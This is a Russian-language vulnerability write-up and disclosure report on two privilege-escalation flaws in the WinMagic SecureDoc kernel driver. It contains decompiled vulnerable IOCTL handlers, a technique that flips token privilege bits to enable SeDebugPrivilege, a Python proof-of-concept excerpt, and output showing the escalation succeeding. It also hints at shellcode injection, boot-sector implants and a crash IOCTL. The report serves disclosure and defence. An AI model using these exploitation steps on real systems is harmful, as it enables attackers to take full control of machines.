
Технический отчет и PoC-эксплойт для CVE-2020-11519 и CVE-2020-11520
Date: June 2020
Author: Dennis Elser (code: github)
Согласно веб-представлению продукта, Winmagic SecureDoc «позволяет предприятиям эффективно управлять безопасностью своей ИТ-среды, используя такие функции, как: полное шифрование диска (FDE), многофакторная аутентификация, шифрование контейнеров сменных носителей (RMCE) и шифрование файлов и папок (FFE). Эти функции помогают предприятиям повысить безопасность, снизить бизнес-риски и соответствовать государственным и нормативным требованиям к шифрованию жестких дисков».
Продукт Winmagic SecureDoc, доступный в автономной и корпоративной редакциях, затронут двумя уязвимостями локального повышения привилегий (CVE-2020-11519 и CVE-2020-11520) в версиях 8.3 и 8.5. После того, как уязвимости были сообщены в Winmagic в конце марта, вендор выпустил патч (версия 8.5SR2) в середине июня 2020 года. Однако было обнаружено, что этот патч устраняет уязвимости недостаточно, что сделало версию 8.5SR2 также уязвимой к описанным недостаткам. Хотя технические подробности об уязвимостях по этой причине удерживались, с тех пор недостатки приходится считать общедоступными. По словам вендора, еще один патч находится в разработке, примерно через 106 дней после первоначального отчета об уязвимости в Winmagic. 15 июля, через 111 дней после первоначального отчета об уязвимости вендору, Winmagic выпустила SecureDoc v8.5 SR2 HF1 для клиентов, который, как сообщается, исправляет CVE-2020-11519 и CVE-2020-11520. Версии SecureDoc старше 8.3 не тестировались, но можно предположить, что они также затронуты, исходя из кода затронутого компонента.
Успешная эксплуатация любой из уязвимостей приведет к повышению привилегий до SYSTEM для локально аутентифицированных злоумышленников.
Обе уязвимости затрагивают компонент «SDDisk2k.sys», драйвер режима ядра, поставляемый с продуктом Winmagic SecureDoc. Недостатки безопасности были выявлены с помощью ручного статического анализа с использованием дизассемблера и декомпилятора Hex-Rays IDA Pro. Ретроспективно, слабые места можно было бы обнаружить с гораздо меньшими усилиями, если бы вместо этого были применены динамические методы тестирования, такие как фаззинг. Это связано с тем, что драйвер может взаимодействовать с ограниченными приложениями пользовательского режима и по умолчанию предполагает, что их входные данные являются корректными.
Из-за небезопасного создания объекта устройства «SecureDocDevice» драйвером «SDDisk2k.sys» и отсутствия кода, который бы устанавливал соответствующий дескриптор безопасности, даже ограниченные учетные записи пользователей получают возможность получить дескриптор устройства с помощью функции API CreateFile(). Предоставляя приложению пользовательского режима дескриптор своего объекта устройства, драйвер тем самым открывает прямой путь к своей поверхности атаки в пространстве ядра.``` c RtlInitUnicodeString(&DestinationString, L"\Device\SecureDocDevice"); RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\SecureDocDevice"); if ( IoCreateDevice(v1, 0xDD8u, &DestinationString, 0x8D1Fu, 0, 0, &DeviceObject) >= 0 ) // <--- unsafe { memset(DeviceObject->DeviceExtension, 0, 0xDD8ui64); DeviceObject->Flags |= 4u; DeviceObject->AlignmentRequirement = 0; if ( IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString) < 0 ) IoDeleteDevice(DeviceObject); IoObject = DeviceObject; }
В результате реверс-инжиниринга ряда обработчиков служб [IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) драйвера "SDDisk2k.sys" было обнаружено, что один из них предоставляет критическую функциональность пользовательскому режиму, а именно - по замыслу позволяет выполнять операции чтения и записи необработанных секторов диска произвольного накопителя. Кроме того, при взаимодействии с этим кодом было замечено, что драйвер игнорирует любые эксклюзивные блокировки, которые могли быть установлены ранее на накопителе. Как следствие, становятся возможными одновременные операции чтения/записи, что способствует состояниям гонки и риску потери данных.
Далее показан декомпилированный обработчик служб IOCTL драйвера, отвечающий за обработку запросов на чтение необработанных секторов диска. Он вызывает функцию sub_29CD4() с аргументом "controlled_buf", который является указателем на буфер, содержимое которого может быть произвольно выбрано любым вызывающим приложением пользовательского режима:``` c
if ( ioctlcode == 0x8D1F2824 ) // <--- I/O control code for raw disk reading functionality
{
controlled_buf = (unsigned __int8 *)controlled_addr;
mode = 0;
temp_result = sub_29CD4((char *)controlled_buf, v3, mode); // <--- call to raw disk read function
На самом деле этот управляемый атакующим буфер представляет собой структуру, поля которой «offset», «length» и «ptr_buf» являются полностью непроверенными аргументами функции, передаваемыми в вызов IoBuildSynchronousFsdRequest(). Последняя функция подготавливает пакет запроса ввода/вывода (IRP) IRP_MJ_READ, который отправляет базовому драйверу файловой системы с помощью вызова IofCallDriver():``` c __int64 __fastcall sub_29CD4(char *controlled_addr, PIRP a2, char mode) { //[...snip...] // extract drive number and type (floppy/hd) from offset 0 devicetype_and_num = (unsigned __int8)*controlled_buf // <--- controllable from user mode
// advance pointer p = controlled_buf + 1;
// build device name if ( (devicetype_and_num & 0x80u) == 0 ) v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Floppy%d", devicetype_and_num); else v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Harddisk%d\Partition0", devicetype_and_num & 0x7F); v12 = v11; if ( v11 >= 0 ) { RtlInitUnicodeString(&DestinationString, &device_name);
// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
|| (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
// extract further fields from structure
offset = *(_QWORD *)(p + 0x4E); // <--- where to start reading from
length = *(_DWORD *)(p + 0x56); // <--- number of bytes to read
ptr_buf = *(void **)(p + 0x5A); // <--- ptr to destination buffer
devobj = DeviceObject;
StartingOffset.QuadPart = offset << 9;
KeInitializeEvent(&Event, NotificationEvent, 0);
// build request
v17 = IoBuildSynchronousFsdRequest(
(unsigned int)(mode != 0) + IRP_MJ_READ, // <--- issue read request
devobj,
ptr_buf,
length << 9,
&StartingOffset,
&Event,
&IoStatusBlock);
v18 = v17;
if ( v17 )
{
v19 = v17->Tail.Overlay.CurrentStackLocation;
if ( mode )
v19[0xFFFFFFFF].Flags |= 0x10u;
ObfReferenceObject(devobj);
// send request to respective device object (issue read request)
v12 = IofCallDriver(devobj, v18);
//[...snip...] }
Так же, как и чтение сырых секторов диска, запись секторов диска из пользовательского режима становится возможной благодаря вызову обработчика IOCTL 0x8D1F2820, который обрабатывает ту же структуру данных и реализован аналогичным образом. Учитывая совместимость с протоколом этого драйвера, ничто не помешает произвольным пользовательским приложениям полностью скомпрометировать операционную систему. Если не защищено механизмом безопасной загрузки, это включает даже установку программного обеспечения, которому разрешено выполняться на ранних этапах загрузки системы (программы-вымогатели, буткиты, пользовательские импланты...).
### CVE-2020-11520
Дальнейшее изучение обработчиков служб драйвера "SDDisk2k.sys" показало, что адреса памяти из пользовательских приложений обрабатываются без предварительной проверки. В некоторых случаях память, к которой обращаются эти указатели, слепо записывается драйвером, что может быть использовано злоумышленниками для создания примитивов записи в ядро. В то время как все примитивы записи позволяют напрямую контролировать **куда** записывать данные, к сожалению, ни один из них не позволял напрямую контролировать **какие** данные записывать. За исключением [CVE-2020-11519](#cve-2020-11519), эксплуатация которого в этом контексте потребовала бы дополнительного обхода через операции чтения/записи диска, что я считаю грязным подходом и хотел избежать. Однако был идентифицирован один конкретный обработчик, который, хотя и не позволял контролировать сами данные, оказался достаточно хорош для того, чтобы быть перепрофилированным другими способами.
Приведенный ниже декомпилированный код показывает обработчик службы драйвера для кода IOCTL 0x8d1f282c. Он принимает 16-битное целое число "count" из буфера, контролируемого пользователем, затем гарантирует, что оно не превысит определенного лимита. Наконец, указатель "dst" извлекается из того же самого контролируемого входного буфера, но никогда не проверяется на валидность перед тем, как быть переданным в качестве аргумента последующему вызову memmove(). К моему первоначальному разочарованию, буфер "src", передаваемый в качестве аргумента memmove(), не контролируется, а вместо этого указывает на жестко закодированную строку ("FRNSecureDoc v4.1\0"), что ограничивает его полезность для эксплуатации до определенной степени. Очевидно, этот обработчик службы записывает идентификатор версии в адрес, задаваемый пользователем, что также может быть использовано для идентификации уязвимых версий Winmagic SecurDoc.``` c
// handler for I/O control code 0x8d1f282c
// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);
// if count is zero, return error
if ( !count )
{
*((_WORD *)controlled_buf + 5) = 0x13;
goto leave_dispatcher;
}
// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
count = 0x11;
// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4; // <--- 'FRNSecureDoc v4.1',0
// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;
Однако, имея этот полностью контролируемый адрес "dst", указывающий на подходящее место в пространстве ядра, перепрофилирует этот обработчик IOCTL и превращает его в примитив записи в ядро. Ссылаясь на [1] и [2], вызов этого обработчика службы с "dst", указывающим на адрес в ядре токена процесса, или, более точно, на его член "Privileges" по смещению 0x40, может привести к повышению привилегий :)```
0: kd> dt nt!_token ffffe40955f766b0
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffffffffffff +0x030 TokenLock : 0xffffd20ff9adee10 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
[...snip...]
0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffe40955f766b0+0x40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000
Структура SEP_TOKEN_PRIVILEGES представляет собой набор битовых масок, где каждый отдельный бит обозначает флаг привилегии. Как логическое следствие, вежливая просьба к драйверу SecureDoc сохранить часть своей строки версии "FRNSecureDoc v4.1\0" в структуру SEP_TOKEN_PRIVILEGES токена процесса должна переключить несколько битов и, возможно, включить полезные привилегии, по крайней мере гипотетически. Как выяснилось, заставив драйвер сохранить первые два символа своей строки версии в смещения 1 и 2 поля "Present" структуры SEP_TOKEN_PRIVILEGE, устанавливается ряд интересных привилегий токена. Символ '**F**' из "**F**RNSecureDoc v4.1\0" равен 01000110 и поэтому устанавливает бит 9 (SeTakeOwnershipPrivilege), бит 10 (SeLoadDriverPrivilege) и бит 14 (SeIncreaseBasePriorityPrivilege) поля "Present". Символ '**R**' равен 01010010, устанавливая бит 17 (SeBackupPrivilege), бит 20 (SeDebugPrivilege) и бит 22 (SeSystemEnvironmentPrivilege):
| Bit No ("Present") | Character | Byte | Privilege |
| :--------------: | :-------: | ------------ | --------- |
| 8 | 'F' | 0100011**0** | SeSecurityPrivilege |
| 9 | 'F' | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10 | 'F' | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11 | 'F' | 0100**0**110 | SeSystemProfilePrivilege |
| 12 | 'F' | 010**0**0110 | SeSystemtimePrivilege |
| 13 | 'F' | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14 | 'F' | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15 | 'F' | **0**1000110 | SeCreatePagefilePrivilege |
| 16 | 'R' | 0101001**0** | SeCreatePermanentPrivilege |
| 17 | 'R' | 010100**1**0 | **SeBackupPrivilege** |
| 18 | 'R' | 01010**0**10 | SeRestorePrivilege |
| 19 | 'R' | 0101**0**010 | SeShutdownPrivilege |
| 20 | 'R' | 010**1**0010 | **SeDebugPrivilege** |
| 21 | 'R' | 01**0**10010 | SeAuditPrivilege |
| 22 | 'R' | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23 | 'R' | **0**1010010 | SeChangeNotifyPrivilege |
## Эксплойт Proof-of-Concept
Эксплойт [proof-of-concept](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py) был разработан на Python и отлажен с помощью [отладчика ядра WinDbg от Microsoft](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk), подключенного к виртуальной машине x64 Windows 10.
Этот PoC-эксплойт получает адрес ядра токена безопасности текущего процесса и, помимо прочего, включает привилегию SeDebugPrivilege, используя описанные уязвимости. Затем он запускает командную оболочку, которая наследует недавно повышенные привилегии токена.
Наличие установленного флага SeDebugPrivilege позволит внедрить шелл-код и запустить его в контексте процесса SYSTEM – однако эту часть я оставлю вам ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
print("[!] Could not get address of token")
sdi.close()
return
print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()
os.system("cmd.exe")
Во избежание риска для чьих-либо данных публичная версия данного эксплойта PoC не включает активный код для чтения/записи необработанных секторов диска с использованием CVE-2020-11519. Тем не менее, его можно легко превратить в установщик для любого кода, который вы хотели бы запускать в загрузочном секторе, если добавить вызовы к функциям disk_read_raw() и disk_write_raw(). Что насчёт установки и запуска партии в tetros в качестве альтернативы установке имплантов? ;)
На следующем рисунке показаны привилегии токена текущего процесса до и после запуска эксплойта Proof-of-Concept соответственно.``` C:\Users\re>whoami /priv
Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
C:\Users\re>python3 sd_poc.py
EoP PoC for WinMagic SecureDoc 8.5
[+] Got a handle to driver [+] Got token object: ffffd68dd45d9990 [+] Patching token Microsoft Windows [Version 10.0.17134.1304] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\re>whoami /priv
Privilege Name Description State =============================== ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeBackupPrivilege Back up files and directories Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
Код эксплойта PoC можно найти [здесь](https://github.com/patois/winmagic_sd/blob/HEAD/sd_poc.py). Он нацелен на v8.5 Winmagic SecureDoc x64, но может работать и на более старых версиях (не проверено).
Если вы добрались до этого места, но вам всё ещё ужасно скучно, не стесняйтесь набрать IOCTL-код 0x8D1F2848 ;)``` c
case 0x8D1F2848:
DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
if ( *(_WORD *)controlled_buf == 0x55AA
&& *(_QWORD *)(controlled_buf + 2)
&& *((_WORD *)controlled_buf + 5) == 4 )
{
StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
if ( !StartContext )
{
KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
}
DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
*StartContext = **(_DWORD **)(controlled_buf + 2);
if ( PsCreateSystemThread(
&ThreadHandle,
0x1FFFFFu,
0i64,
0i64,
0i64,
(PKSTART_ROUTINE)sub_23948,
StartContext) < 0 )
ExFreePoolWithTag(StartContext, 0);
else
ZwClose(ThreadHandle);
}
2020-03-27 | Shared vulnerability report with Winmagic representative 2020-03-28 | Winmagic confirmed receipt of vulnerability report 2020-04-04 | Shared CVE IDs CVE-2020-11519 and CVE-2020-11520 with Winmagic 2020-04-22 | Winmagic gave an estimated ETA of fix within 60-90 days 2020-06-14 | Winmagic shared pre-release of SecureDoc v8.5SR2 for testing 2020-06-17 | Informed Winmagic the fix doesn't properly address the vulnerabilities 2020-06-18 | Winmagic informed that SecureDoc v8.5SR2 had already been publicly released | in the meantime. According to this version's release notes, CVE-2020-11519 | and CVE-2020-11520 are addressed ("SD-34145: Windows Client Security | Vulnerability Report"). Winmagic representative asked whether holding back | information about the vulnerabilities was an option till the next scheduled | release date in autumn, in favour of a proper fix 2020-06-19 | Informed Winmagic about the common 90-days disclosure deadline and that | postponing a proper fix for incorrect but already released bugfixes | would put users at risk even more so 2020-06-19 | Winmagic informed that a hotfix for the flawed v8.5SR2 patch of | SecureDoc is being worked on, no ETA given 2020-06-22 | Asked for ETA of the hotfix 2020-06-23 | Winmagic provided information about an intended release of a hotfix within | a two week time frame, starting with the passing of the 90-days deadline 2020-06-30 | Asked Winmagic about the current status 2020-06-30 | Winmagic assured that a fix would be made available before 2020-07-08 2020-07-08 | Winmagic informed about delay of release to 2020-07-09 or 2020-07-10, latest 2020-07-10 | Public release of this information, no public fix available (106 days) 2020-07-15 | Winmagic released SecureDoc v8.5 SR2 HF1 (111 days)
## Решение
Обновите до Winmagic SecureDoc v8.5 SR2 HF1.
## Контрольные суммы
| Имя файла | Версия | Хэш (SHA-256) |
| -------------------- | ------- | -------------- |
| SDDisk2k.sys (64bit) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64bit) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |
## Ссылки
1. [Злоупотребление привилегиями токенов для LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [Эксплуатация CVE-2014-4113 в Windows 8.1](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [Простая локальная эксплуатация ядра Windows](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [У меня 99 проблем, но указатель ядра — не одна из них](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [Эксплуатация утекших дескрипторов процессов и потоков](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [Обсуждение на Sourceforge о вызове NtQuerySystemInformation с помощью ctypes](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [Примечания к выпуску SecureDoc v8.5SR2](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)